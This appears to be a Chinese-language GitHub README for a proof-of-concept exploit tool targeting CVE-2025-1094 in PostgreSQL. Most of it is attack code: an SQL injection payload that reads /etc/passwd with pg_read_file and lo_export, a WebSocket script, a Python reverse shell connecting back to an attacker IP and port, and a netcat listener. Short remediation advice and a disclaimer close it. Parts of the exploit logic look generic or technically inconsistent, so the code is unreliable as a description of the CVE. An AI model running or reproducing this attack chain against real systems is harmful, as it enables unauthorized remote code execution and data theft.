CVE-2025-1094:SQL注入到远程代码执行(RCE)利用工具 🚀
本项目提供了一个针对 CVE-2025-1094 漏洞的完整概念验证(PoC)利用工具。该漏洞存在于PostgreSQL数据库中,攻击者可以通过SQL注入(SQLi)漏洞,结合WebSocket劫持技术,实现远程代码执行(RCE),最终获取目标服务器的完全控制权。
功能特性
- SQL注入利用 :通过构造恶意SQL语句,利用
lo_export函数读取服务器敏感文件(如/etc/passwd)并保存到可写目录 - WebSocket劫持:主动连接目标WebSocket服务,发送恶意命令执行载荷
- 反向Shell获取:通过Python反弹Shell脚本,建立与攻击者服务器的远程连接
- 多线程并发:WebSocket攻击与监听器同时运行,提高利用效率
- 完整攻击链:从初始注入到最终获得Shell,一站式完成整个利用流程
安装指南
系统要求
- Python 3.6+
- 目标系统:存在CVE-2025-1094漏洞的PostgreSQL服务
- 攻击机:具有公网IP或可被目标访问的IP地址
依赖安装
bash
# 克隆仓库
git clone https://github.com/soltanali0/CVE-2025-1094.git
cd CVE-2025-1094
# 安装Python依赖
pip install websocket-client requests
配置说明
在运行脚本之前,需要修改以下配置变量:
python
TARGET_URL = "http://vulnerable-site.com/vuln-endpoint" # 目标漏洞端点
WEBSOCKET_URL = "ws://vulnerable-site.com/socket" # WebSocket服务地址
REVERSE_IP = "YOUR_IP" # 攻击者监听IP
REVERSE_PORT = 4444 # 攻击者监听端口
使用说明
基础用法
- 启动监听器(在攻击机上):
bash
nc -lvnp 4444
- 运行利用脚本:
bash
python exploit.py
- 获取Shell:成功利用后,监听器将收到目标服务器的反向Shell连接。
完整攻击流程
该工具按照以下顺序执行攻击:
- SQL注入阶段 :向目标URL发送包含恶意SQL语句的POST请求,利用
lo_export函数将/etc/passwd文件导出到/tmp/payload - WebSocket连接阶段:建立与目标WebSocket服务的连接,发送初始化指令
- RCE载荷投递:通过WebSocket发送Python反弹Shell代码,在目标服务器上执行
- Shell接收:攻击者监听端口接收到目标服务器的反向Shell
核心代码
1. SQL注入载荷构建
python
# 利用lo_export函数读取敏感文件并导出到可写目录
sql_payload = """SELECT lo_export(
(SELECT convert_from(pg_read_file('/etc/passwd'), 'UTF8')),
'/tmp/payload'
);"""
# 发送SQL注入请求
requests.post(TARGET_URL, data={"input": sql_payload}, headers={"Content-Type": "application/x-www-form-urlencoded"})
2. WebSocket消息处理
python
def on_message(ws, message):
"""处理WebSocket接收到的消息"""
print("[+] Received message from WebSocket:", message)
# 构建Python反弹Shell载荷
exploit_payload = f"""import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{REVERSE_IP}",{REVERSE_PORT}));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);"""
# 通过WebSocket发送执行命令
ws.send(f"EXECUTE_COMMAND:{exploit_payload}")
3. WebSocket连接与劫持
python
def on_open(ws):
"""WebSocket连接建立后的回调"""
print("[+] WebSocket connection established.")
ws.send("INITIATE_EXPLOIT")
def start_websocket_exploit():
"""启动WebSocket攻击"""
ws = websocket.WebSocketApp(WEBSOCKET_URL,
on_message=on_message,
on_open=on_open)
ws.run_forever()
4. 反向Shell监听器
python
def start_listener():
"""启动netcat监听器接收反向Shell"""
print(f"[+] Listening on {REVERSE_PORT}...")
os.system(f"nc -lvnp {REVERSE_PORT}")
# 在独立线程中启动WebSocket攻击
threading.Thread(target=start_websocket_exploit).start()
time.sleep(2)
# 启动监听器
start_listener()
漏洞修复建议
为了防范此类攻击,建议采取以下措施:
- 使用预编译语句:使用参数化查询替代动态SQL拼接,从根本上防止SQL注入
- 输入验证与过滤:对所有用户输入进行严格验证和清理
- 限制危险函数 :限制
lo_export、pg_read_file等敏感函数的执行权限 - WebSocket安全加固:对WebSocket连接实施身份验证和加密(WSS)
- 及时更新补丁:保持PostgreSQL到最新版本,关注安全公告
免责声明
本项目仅供教育和安全研究使用。使用此工具前,请确保您已获得目标系统的明确授权。未经授权的系统入侵行为违反法律法规,使用者需自行承担一切法律责任。 6HFtX5dABrKlqXeO5PUv/y+hadQXQKkjzncEnFNwGdXIEzhSSFS2E4KQ5NDeUmxe